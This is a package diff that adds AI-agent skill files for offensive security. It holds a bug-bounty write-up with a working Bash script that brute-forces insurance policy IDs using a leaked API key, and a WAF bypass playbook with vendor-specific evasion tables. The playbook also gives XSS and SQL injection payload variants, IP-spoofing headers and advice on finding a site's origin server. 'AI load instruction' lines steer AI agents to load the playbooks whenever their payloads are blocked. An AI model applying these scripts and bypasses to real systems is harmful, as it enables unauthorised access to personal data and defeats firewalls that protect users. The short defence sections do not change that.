ineedcodes 1.6.0 → 1.7.0

package/skills/vr-writeup-api_key_leak/SKILL.md

@@ -0,0 +1,103 @@
+---
+name: vr-writeup-api_key_leak
+description: >-
+  Vulnerability research reference: api_key_leakgated: true
+---
+# API Key Leak in Front-End Source Code Leads to Insurance Policy Enumeration
+
+> _**Ethical Warning:** Research, educational, and authorized testing purposes only. Please do not use against systems without permission._
+
+* **Author:** Seth Kraft
+* **Date:** May 15, 2026
+
+---
+
+The reconnaissance phase began by enumerating subdomains using [`subfinder`](https://github.com/skraft9/vulnerability-research/blob/main/custom_scripts/recon.sh) against the target's wildcard domain. While manually reviewing the hosted applications, I inspected the page source code.
+
+During this review, I discovered an exposed configuration file named `env.js` referenced within the source code.
+
+<img width="1843" height="1219" alt="Screenshot 2025-05-29 222222" src="https://github.com/user-attachments/assets/be0192f4-1fb8-4561-930e-172b96088a34" />
+
+---
+
+This file inadvertently exposed multiple API keys in plain text.
+
+I immediately began testing the validity of the leaked API keys against the application's endpoints. The API required both the key and a valid six-digit Policy ID parameter. 
+
+To test the endpoint's authorization controls, I submitted a request using a test Policy ID of `999999`, which successfully returned a valid response containing sensitive policy data.
+
+```json
+<REDACTED>","policyId":"999999","state":"<REDACTED>","<REDACTED>":true,"<REDACTED>":false,"<REDACTED>":[],"<REDACTED>":[{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"},{"id":"<REDACTED>","name":"<REDACTED> - <REDACTED>"}]}
+
+```
+
+---
+
+Because the Policy ID is constrained to a six-digit numerical format, the endpoint is highly susceptible to brute-force enumeration.
+
+To demonstrate the impact, I wrote a Bash script to automate the enumeration process and verify if the leaked API key could be leveraged to access other valid policies at scale.
+
+```bash
+#!/bin/bash
+
+API_KEY="<REDACTED>"
+START=110999
+END=100000
+
+echo "[*] Starting range: $START to $END"
+
+for ((id=START; id>=END; id--)); do
+  echo "[*] Testing policy ID $id"
+
+  resp=$(curl -sk "https://<REDACTED>/api/<REDACTED>/policies/$id?subscription-key=$API_KEY" \
+    -H "Accept: application/json" \
+    -H "X-Bug-Bounty: <BB_USERNAME>")
+
+  if [[ $resp != *"InvalidPolicyNumber"* && $resp == *"groupId"* ]]; then
+    echo "[+] VALID → $id"
+    echo "$id → $resp" >> valid_policies.txt
+  fi
+
+  sleep 0.2
+done
+
+```
+
+---
+
+Upon executing the script, the API successfully returned data for valid policy IDs.
+
+<img width="2524" height="1250" alt="Leak" src="https://github.com/user-attachments/assets/ef93b850-50eb-476d-afa2-0917d19bbd15" />
+
+---
+
+I then modified the `START` and `END` values to iterate through the remaining keyspace up to `999999`.
+
+This automated enumeration resulted in the discovery of over 300 valid insurance policies, demonstrating data leakage and broken access control vulnerability.
+
+<img width="741" height="175" alt="Screenshot 2025-05-29 225738" src="https://github.com/user-attachments/assets/62e4b233-609b-4c5f-9633-e691086c0cb2" />
+
+---
+
+## Root Cause Analysis
+
+* **Exposure of Sensitive Secrets:** The initial point of failure was the inclusion of environment variables (`.env.js`) in the front-end build. Client-side source code should never contain privileged API keys or infrastructure secrets.
+* **Broken Object Level Authorization (BOLA / IDOR):** The API implicitly trusted the valid API key without verifying if the requesting entity actually had the correct permissions to access the specific `policyId` being called.
+* **Insufficient Identifier Entropy:** Relying on a highly predictable, six-digit numeric string for sensitive policy identifiers creates an inherently small keyspace, making the system highly susceptible to brute-forcing.
+* **Lack of Anti-Automation Controls:** The endpoint permitted rapid, automated requests (iterating through the keyspace) without triggering any rate-limiting mechanisms or WAF blocks, facilitating bulk data exfiltration.
+
+## Remediation Tips (Defensive Perspective)
+
+* **Implement Robust Object-Level Authorization:** Ensure every API endpoint enforces strict validation to confirm the authenticated user or service has explicit rights to access the requested resource object (`policyId`).
+* **Migrate to High-Entropy Identifiers:** Deprecate the use of sequential or short numeric IDs in favor of cryptographically secure, unpredictable identifiers (such as UUIDv4) for all sensitive records.
+* **Audit Secret Management Protocols:** Review the CI/CD pipeline and webpack/build configurations to guarantee that environment variables and secrets are strictly managed server-side and never bundled into client-facing code.
+* **Enforce Strict Rate Limiting:** Apply aggressive rate limiting and velocity checks on the `/api/*/policies/` endpoint. Additionally, implement alerting for high volumes of 404s or `InvalidPolicyNumber` responses to detect enumeration attempts early.
+
+## Tips for Hunters (Offensive Perspective)
+
+* **Always Trace the Build Artifacts:** Finding an `.env.js` file is often a symptom of poor CI/CD hygiene. When you spot one leak, immediately map out the surrounding directory structure and webpack bundles. Where there is one exposed config, there are often more routing files, admin endpoints, or legacy API versions left behind.
+* **Prove the Impact, Not Just the Leak:** A leaked API key is frequently closed as "Informational" or "N/A" if it only accesses public data. The real bounty value comes from chaining the leak with a BOLA/IDOR condition. Always test keys against private endpoints or cross-tenant objects to demonstrate concrete data exfiltration.
+* **Hunt for Low-Entropy Identifiers:** When you spot a six-digit numeric ID, assume it is brute-forceable until proven otherwise. Always script a quick enumeration loop over a localized keyspace to test for rate-limiting, WAF interference, or logging mechanisms before scaling up.
+* **Deliver an Unambiguous PoC:** Providing a clean, automated script in your report removes any guesswork for the triage team. Taking the time to code a functional exploit transitions the report from a theoretical risk to an undeniable, high-severity vulnerability, saving you from prolonged back-and-forth in the vendor thread.
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/waf-bypass-techniques/SKILL.md

@@ -0,0 +1,290 @@
+---
+name: waf-bypass-techniques
+description: >-
+  WAF bypass methodology and generic evasion techniques. Use when a web application
+  firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft
+  bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.gated: true
+---
+
+# SKILL: WAF Bypass Techniques — Evasion Playbook
+
+> **AI LOAD INSTRUCTION**: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load [WAF_PRODUCT_MATRIX.md](./WAF_PRODUCT_MATRIX.md). Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.
+
+## 0. RELATED ROUTING
+
+- [sqli-sql-injection](../sqli-sql-injection/SKILL.md) for payloads to deliver after bypassing WAF
+- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) for XSS payloads that need WAF evasion
+- [request-smuggling](../request-smuggling/SKILL.md) when smuggling can route requests around WAF entirely
+- [http-parameter-pollution](../http-parameter-pollution/SKILL.md) HPP is itself a WAF bypass primitive
+- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when WAF blocks inline scripts but CSP bypass is available
+- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) **Java backends only** — when every encoding trick above is blocked, use Ghost Bits: Java's 16-bit `char` to 8-bit `byte` narrowing produces 255 Unicode bypass variants per dangerous ASCII byte; re-enables WAF-patched CVEs in Tomcat, Spring, Jetty, Jackson, Fastjson, BCEL, and more
+
+### Product-Specific Reference
+
+Load [WAF_PRODUCT_MATRIX.md](./WAF_PRODUCT_MATRIX.md) when you need per-product bypass techniques for Cloudflare, AWS WAF, ModSecurity CRS, Akamai, Imperva, F5 BIG-IP, or Sucuri.
+
+---
+
+## 1. PHASE 0 — IDENTIFY THE WAF
+
+Before bypassing, know what you're fighting.
+
+### 1.1 Tools
+
+| Tool | Usage |
+|---|---|
+| `wafw00f target.com` | Fingerprint WAF vendor from response headers/behavior |
+| `nmap --script=http-waf-detect` | NSE script for WAF detection |
+| Manual header inspection | `Server`, `X-CDN`, `X-Cache`, `cf-ray` (Cloudflare), `x-sucuri-id`, `x-akamai-*` |
+
+### 1.2 Behavioral Fingerprinting
+
+```
+1. Send benign request → record baseline response (status, headers, body size)
+2. Send obvious attack: /?q=<script>alert(1)</script>
+3. Compare: 403? Custom block page? Redirect? Connection reset?
+4. Block page content reveals WAF: "Cloudflare", "Access Denied (Imperva)", "ModSecurity"
+5. If transparent proxy: check response time difference (WAF adds latency)
+```
+
+---
+
+## 2. GENERIC BYPASS CATEGORIES
+
+### 2.1 Encoding Bypasses
+
+| Technique | Example | Bypasses |
+|---|---|---|
+| URL encoding | `%3Cscript%3E` | Basic string matching |
+| Double URL encoding | `%253Cscript%253E` | WAFs that decode once, app decodes twice |
+| Unicode encoding | `%u003Cscript%u003E` | IIS-specific Unicode normalization |
+| HTML entities | `&#60;script&#62;` or `&#x3c;script&#x3e;` | WAFs not performing HTML entity decoding |
+| Hex encoding (SQL) | `0x756E696F6E` = `union` | WAFs matching SQL keywords |
+| Octal encoding | `\74script\76` | Rare but some parsers handle it |
+| Overlong UTF-8 | `%C0%BC` (invalid encoding for `<`) | Legacy parsers with loose UTF-8 handling |
+| Mixed case | `SeLeCt`, `uNiOn` | Case-sensitive rule matching |
+| Null byte | `sel%00ect` | WAFs that stop parsing at null |
+
+### 2.2 Chunked Transfer Encoding
+
+Split the payload across HTTP chunks so no single chunk contains the blocked pattern:
+
+```http
+POST /search HTTP/1.1
+Transfer-Encoding: chunked
+
+3
+sel
+3
+ect
+1
+ 
+4
+from
+0
+
+```
+
+WAFs that inspect the full body may not reassemble chunks before matching.
+
+### 2.3 HTTP/2 Binary Format Bypasses
+
+HTTP/2 transmits headers as binary HPACK-encoded frames. Some WAFs only inspect after downgrading to HTTP/1.1:
+
+- Header names can contain characters illegal in HTTP/1.1
+- Pseudo-headers (`:method`, `:path`) bypass header-based WAF rules
+- H2 → H1 downgrade may introduce request smuggling (see [request-smuggling](../request-smuggling/SKILL.md))
+
+### 2.4 HTTP Parameter Pollution (HPP)
+
+Different servers handle duplicate parameters differently:
+
+| Server | Behavior for `?a=1&a=2` |
+|---|---|
+| PHP/Apache | Last value: `a=2` |
+| ASP.NET/IIS | Concatenated: `a=1,2` |
+| Python/Flask | First value: `a=1` |
+| Node.js/Express | Array: `a=[1,2]` |
+
+WAF checks `a=1` (benign), app uses `a=2` (malicious). Or combine: `a=sel&a=ect` → ASP.NET sees `a=sel,ect`.
+
+### 2.5 IP Source Spoofing (Bypass IP-Based Rules)
+
+Headers trusted by some WAFs/apps for client IP:
+
+```
+X-Forwarded-For: 127.0.0.1
+X-Real-IP: 127.0.0.1
+X-Originating-IP: 127.0.0.1
+True-Client-IP: 127.0.0.1
+CF-Connecting-IP: 127.0.0.1
+X-Client-IP: 127.0.0.1
+Forwarded: for=127.0.0.1
+```
+
+Use case: WAF whitelists internal IPs or has different rule sets per source.
+
+### 2.6 Path Normalization Tricks
+
+| Technique | Example | Effect |
+|---|---|---|
+| Dot segments | `/./admin` or `/../target/admin` | WAF sees different path than app |
+| Double slash | `//admin` | Some normalizers collapse, WAFs may not |
+| URL encoding path | `/%61dmin` | WAF sees encoded, app decodes |
+| Null byte in path | `/admin%00.jpg` | Legacy: app truncates at null, WAF sees .jpg |
+| Backslash (IIS) | `/admin\..\/secret` | IIS treats `\` as `/` |
+| Trailing dot/space | `/admin.` or `/admin%20` | OS-level normalization (Windows) |
+| Semicolon (Tomcat) | `/admin;jsessionid=x` | Tomcat strips after `;`, WAF may not |
+
+### 2.7 Content-Type Manipulation
+
+WAFs often have format-specific parsers. Switching Content-Type can bypass rules:
+
+```
+Default:  Content-Type: application/x-www-form-urlencoded  → WAF parses params
+Switch:   Content-Type: application/json  → WAF may not parse JSON body
+Switch:   Content-Type: multipart/form-data  → WAF may not inspect all parts
+Switch:   Content-Type: text/xml  → WAF expects XML, payload in different format
+```
+
+**Trick**: If app accepts both JSON and form-urlencoded, use JSON — WAFs often have weaker JSON inspection rules.
+
+### 2.8 Multipart Boundary Abuse
+
+```http
+Content-Type: multipart/form-data; boundary=----WAFBypass
+
+------WAFBypass
+Content-Disposition: form-data; name="q"
+
+<script>alert(1)</script>
+------WAFBypass--
+```
+
+Variations: long boundary strings, boundary with special characters, missing final boundary, nested multipart.
+
+### 2.9 Newline & Whitespace Injection
+
+```sql
+-- SQL keyword splitting
+SEL
+ECT * FROM users
+
+-- SQL comment insertion
+SEL/**/ECT * FR/**/OM users
+UN/**/ION SEL/**/ECT 1,2,3
+
+-- Tab/vertical tab as separator
+SELECT\t*\tFROM\tusers
+```
+
+### 2.10 Keyword Splitting & Alternative Syntax
+
+| Blocked | Alternative |
+|---|---|
+| `UNION SELECT` | `UNION ALL SELECT`, `UNION DISTINCT SELECT` |
+| `OR 1=1` | `OR 2>1`, `OR 'a'='a'`, `||1` |
+| `<script>` | `<svg/onload=alert(1)>`, `<img src=x onerror=alert(1)>` |
+| `alert(1)` | `prompt(1)`, `confirm(1)`, `print()` (Chrome) |
+| `eval()` | `Function('code')()`, `setTimeout('code',0)` |
+| `' OR '1'='1` | `' OR 1-- -`, `'\|\|'1` |
+| `SLEEP(5)` | `BENCHMARK(5000000,SHA1('x'))`, `pg_sleep(5)` |
+
+---
+
+## 3. PROTOCOL-LEVEL BYPASS TECHNIQUES
+
+### 3.1 Request Line Abuse
+
+```http
+GET /path?q=attack HTTP/1.1    ← WAF inspects
+```
+
+vs.
+
+```http
+GET http://target.com/path?q=attack HTTP/1.1   ← Absolute URI: some WAFs miss the path
+```
+
+### 3.2 Header Injection via CRLF
+
+If WAF inspects original headers but app processes injected ones:
+
+```
+X-Custom: value\r\nX-Forwarded-For: 127.0.0.1
+```
+
+### 3.3 Connection-State Bypass
+
+```
+1. Establish connection through WAF (normal request)
+2. On same keep-alive connection, send attack request
+3. Some WAFs reduce inspection on subsequent requests in same connection
+```
+
+---
+
+## 4. WAF BYPASS DECISION TREE
+
+```
+Payload blocked by WAF?
+├── Identify WAF (wafw00f, response headers, block page)
+│
+├── Try encoding bypasses
+│   ├── URL encode payload → still blocked?
+│   ├── Double URL encode → still blocked?
+│   ├── Unicode/overlong UTF-8 → still blocked?
+│   ├── Mixed case keywords → still blocked?
+│   └── HTML entities (for XSS) → still blocked?
+│
+├── Try protocol-level bypasses
+│   ├── Switch Content-Type (JSON, multipart, XML)
+│   │   └── App accepts alternate format? → re-send payload
+│   ├── HTTP Parameter Pollution (duplicate params)
+│   ├── Chunked Transfer-Encoding to split payload
+│   ├── HTTP/2 direct if available (binary framing bypass)
+│   └── Request line: absolute URI format
+│
+├── Try path-based bypasses
+│   ├── Path normalization (/./path, //path, ;param)
+│   ├── Different HTTP method (POST vs PUT vs PATCH)
+│   └── Alternate endpoint serving same function
+│
+├── Try payload mutation
+│   ├── SQL: comments (/**/), alternative functions, hex literals
+│   ├── XSS: alternative tags/events, JS template literals
+│   ├── RCE: wildcard abuse, string concatenation, variable expansion
+│   └── Check WAF_PRODUCT_MATRIX.md for vendor-specific mutations
+│
+├── Try IP-source bypass
+│   ├── X-Forwarded-For / True-Client-IP spoofing
+│   ├── Access origin server directly (bypass CDN)
+│   └── Find origin IP (Shodan, historical DNS, email headers)
+│
+└── Try request smuggling to skip WAF entirely
+    └── See ../request-smuggling/SKILL.md
+```
+
+---
+
+## 5. COMMON MISTAKES & TRICK NOTES
+
+1. **Test bypass with actual exploitation, not just 200 OK**: WAF may return 200 but strip the payload silently.
+2. **WAFs often have size limits**: Very large request bodies (>8KB–128KB depending on WAF) may bypass inspection entirely.
+3. **Rate limiting ≠ WAF**: Getting 429s is rate limiting, not payload blocking. Different bypass needed.
+4. **CDN caching**: If the WAF is at CDN level, cached responses bypass WAF on subsequent requests. Poison cache with clean request, exploit cache.
+5. **Origin server direct access**: If you find the origin IP behind CDN/WAF, connect directly — WAF is bypassed completely.
+6. **Multipart file upload fields**: WAFs often skip inspection of file content in multipart uploads — embed payload in filename or file content if reflected.
+
+---
+
+## 6. DEFENSE PERSPECTIVE
+
+| Measure | Notes |
+|---|---|
+| WAF + application-level input validation | WAF is a layer, not a fix |
+| Parameterized queries | Eliminates SQLi regardless of WAF |
+| CSP + output encoding | Eliminates XSS regardless of WAF |
+| Regularly update WAF rules | Vendor signatures lag behind new bypasses |
+| Deny by default, not block-list | Allowlist valid input patterns |
+| Log and alert on WAF blocks | Bypass attempts are visible in logs |

package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md

@@ -0,0 +1,202 @@
+# WAF Product Bypass Matrix
+
+> **AI LOAD INSTRUCTION**: Load this when you've identified the specific WAF product and need product-targeted bypass techniques. Assumes the main [SKILL.md](./SKILL.md) is already loaded for generic bypass methodology.
+
+---
+
+## 1. Cloudflare WAF
+
+### Detection
+
+- `cf-ray` header, `Server: cloudflare`, block page references "Cloudflare"
+- Cookie: `__cfduid`, `__cf_bm`
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Unicode normalization | Cloudflare normalizes Unicode differently than backend — `＜script＞` (fullwidth) may pass WAF but render as `<script>` |
+| Chunked body | Split payloads across HTTP chunks; Cloudflare may not reassemble before inspection |
+| Payload mutation (SQLi) | `/*!50000UniOn*/SeLeCt` — MySQL version comments bypass keyword matching |
+| Payload mutation (XSS) | `<svg/onload=alert&#40;1&#41;>`, `<details open ontoggle=alert(1)>` |
+| Origin direct access | Find origin IP via DNS history, Shodan `ssl.cert.subject.cn:target.com`, email headers |
+| JSON body | Switch from form-urlencoded to JSON — different parser, weaker rules |
+| Super-long parameter names | Parameter name >128 chars may cause Cloudflare to skip inspection |
+
+### Cloudflare-Specific Notes
+
+- Cloudflare has multiple WAF modes: "Managed Rules" (Cloudflare-authored) and "OWASP ModSecurity Core Rule Set". Each has different bypass surfaces.
+- Cloudflare's free-tier WAF has significantly fewer rules than Business/Enterprise.
+- Browser Integrity Check and Bot Management are separate from WAF — don't confuse them.
+
+---
+
+## 2. AWS WAF
+
+### Detection
+
+- `x-amzn-requestid` header, runs in front of ALB/CloudFront/API Gateway
+- Block response often returns 403 with JSON body or custom error page
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Regex complexity | AWS WAF regex rules have execution time limits — complex input can cause regex to timeout → request passes |
+| Size limits | AWS WAF inspects first 8KB of body (16KB for CloudFront). Payload after this boundary is uninspected |
+| Custom rule gaps | Default AWS Managed Rules miss many edge cases; custom rules often have logic errors |
+| JSON depth | Deeply nested JSON objects may exceed parser depth limits |
+| Base64 in parameters | AWS WAF doesn't auto-decode Base64 in parameter values (unless custom transform configured) |
+| URI vs body rules | Rules may cover URI but not body, or vice versa — test both |
+
+### AWS WAF-Specific Notes
+
+- AWS WAF v2 (WAFV2) has `SizeConstraintStatement` — bodies over the size limit are either blocked or allowed, depending on config. If "allow on oversize", pad payload beyond 8KB.
+- AWS Managed Rule Groups update regularly but lag behind novel attack patterns.
+- IP reputation lists may be stale — new IPs from cloud providers often aren't listed.
+
+---
+
+## 3. ModSecurity + OWASP CRS
+
+### Detection
+
+- `Server: Apache` or `nginx` with ModSecurity module
+- Block page: "ModSecurity" reference, or generic 403
+- Error contains rule ID (e.g., `id:942100`)
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Paranoia Level (PL) gaps | PL1 (default) has minimal rules; PL2-4 progressively stricter. Most deployments run PL1-2, missing many attack patterns |
+| Rule ID specific bypass | Each rule targets specific patterns — identify blocking rule ID from error, craft bypass for that specific regex |
+| SQL comment injection | `/*! ... */` MySQL conditional comments bypass many CRS SQLi rules |
+| Unicode in PL1 | PL1 doesn't check Unicode-encoded payloads: `%u0027` for `'` |
+| Transformation order | CRS applies `t:urlDecodeUni,t:htmlEntityDecode` but not all transformations on all rules |
+| Multipart parser | CRS multipart parsing can be confused by malformed boundaries |
+| Request body limit | `SecRequestBodyLimit` default is 13MB — but `SecRequestBodyNoFilesLimit` is only 128KB (changeable). Payloads in file upload fields bypass body rules if only `NoFiles` limit is enforced |
+
+### CRS-Specific Notes
+
+- CRS v4 (2023+) significantly improved coverage vs v3. Check target's CRS version.
+- Anomaly scoring mode: individual rule violations add to score, blocked only if total exceeds threshold. Keep individual violations below detection but accumulate effect.
+- `SecRuleRemoveById` directives in config may disable specific rules — test for holes.
+
+---
+
+## 4. Akamai (Kona Site Defender / App & API Protector)
+
+### Detection
+
+- `Server: AkamaiGHost`, `x-akamai-*` headers
+- Error reference number in block page
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Header injection | Akamai processes certain headers differently; `X-Forwarded-Host` injection can confuse routing |
+| Encoding chains | Triple encoding or mixed encoding (URL + Unicode + HTML) |
+| JSON body bypass | Akamai's JSON parser may not inspect deeply nested objects |
+| Slow POST | Akamai has timeout-based protections; slow delivery may cause incomplete inspection |
+| HTTP/2 push | H2 server push responses may bypass WAF inspection |
+| IP rotation | Akamai rate limits per IP; rotating source IPs avoids behavioral blocks |
+
+### Akamai-Specific Notes
+
+- Akamai has "Adaptive Security Engine" — it learns application behavior. New attack patterns that don't match learned behavior may bypass initially.
+- Penalty box: after triggering Akamai WAF, your IP may be rate-limited for minutes. Use fresh IP for each test.
+- Akamai Pragma headers (`Pragma: akamai-x-check-cacheable`) can leak internal routing information useful for understanding the setup.
+
+---
+
+## 5. Imperva / Incapsula
+
+### Detection
+
+- `X-CDN: Imperva`, `Set-Cookie: incap_ses_*`, `visid_incap_*`
+- Block page: "Powered by Incapsula" or Imperva branding
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Parameter pollution | Duplicate parameters: Imperva inspects one occurrence, app processes another |
+| JSON deep nesting | `{"a":{"b":{"c":{"d":"payload"}}}}` — deeply nested JSON exceeds parser depth |
+| Multipart abuse | Malformed multipart boundaries confuse Imperva's parser |
+| UTF-8 BOM injection | `\xEF\xBB\xBF` at start of body may shift parser alignment |
+| Large Cookie header | Extremely long Cookie headers may cause truncated inspection |
+| WebSocket upgrade | After WebSocket upgrade, subsequent traffic may bypass WAF inspection |
+
+### Imperva-Specific Notes
+
+- Imperva has "Client Classification" — browser fingerprinting. Headless browsers may be blocked before WAF rules even apply. Use real browser fingerprints.
+- Imperva's API security module is separate from web WAF — API endpoints may have weaker protection.
+- Custom rules in Imperva use "IncapRule" syntax — misconfigurations are common.
+
+---
+
+## 6. F5 BIG-IP ASM / Advanced WAF
+
+### Detection
+
+- `Server: BigIP`, `BIGipServer` cookie, `TS` cookie prefix
+- Block page: "The requested URL was rejected" with support ID
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Serialized format bypass | ASM has weak inspection of serialized data (Java, PHP, .NET serialization) |
+| JSON/XML content switching | Switch between JSON and XML — ASM may have different rule sets per content type |
+| Parameter meta-characters | ASM's "meta-character enforcement" can be bypassed with double encoding |
+| Cookie manipulation | ASM sets tracking cookies; modifying them can cause session tracking issues that affect rule application |
+| Evasion techniques | ASM has explicit "evasion detection" for directory traversal, multiple encoding, etc. But combinations of techniques may still bypass |
+| Learning mode exploitation | If ASM is in "transparent" (learning) mode, no blocking occurs — test with obviously malicious payload first |
+
+### F5-Specific Notes
+
+- BIG-IP ASM distinguishes between "attack signatures" and "violations". Signatures are pattern-based; violations are structural (parameter length, data type). Both must be bypassed.
+- ASM's "Bot Defense" module is separate and can be detected via JavaScript challenge injection.
+- The `TS` cookie contains session data — tampering with it causes ASM to treat the request as a new session.
+
+---
+
+## 7. Sucuri WAF
+
+### Detection
+
+- `Server: Sucuri/Cloudproxy`, `X-Sucuri-ID` header
+- Block page: "Access Denied - Sucuri Website Firewall"
+
+### Known Bypass Techniques
+
+| Category | Technique |
+|---|---|
+| Tag/event combos | Sucuri blocks common XSS tags but may miss: `<svg/onload>`, `<details/ontoggle>`, `<marquee onstart>` |
+| SQL function alternatives | `MID()` instead of `SUBSTRING()`, `CONV()` for hex conversion |
+| Path traversal encoding | `..%252f..%252f` (double URL encode) for directory traversal |
+| Origin direct access | Sucuri is a reverse proxy; origin IP discovery bypasses it entirely |
+| HTTP method switch | Sucuri may have different rules for GET vs POST vs PUT |
+| Null byte injection | `%00` in parameter values may truncate Sucuri's inspection |
+
+### Sucuri-Specific Notes
+
+- Sucuri is common on WordPress sites — combine with WordPress-specific attack vectors.
+- Sucuri's "Hardening" features (block PHP in uploads, etc.) are separate from WAF rules.
+- Free Sucuri tier has significantly weaker WAF rules than paid tiers.
+
+---
+
+## 8. QUICK REFERENCE — BYPASS-BY-WAF CHEAT SHEET
+
+| WAF | Top Bypass Vector | Size Limit | Key Weakness |
+|---|---|---|---|
+| Cloudflare | Unicode normalization + origin IP | 128KB | Fullwidth chars, free tier gaps |
+| AWS WAF | Body size > 8KB | 8KB (body) | Size limit bypass, regex timeout |
+| ModSecurity CRS | PL1 gaps + MySQL comments | Configurable | Low paranoia defaults |
+| Akamai | Encoding chains + slow POST | Varies | Adaptive engine learning delay |
+| Imperva | HPP + JSON nesting | Unknown | Parameter pollution |
+| F5 BIG-IP | Serialized data + learning mode | Configurable | Weak serialization inspection |
+| Sucuri | Origin IP + alt tags | Unknown | WordPress-centric rules |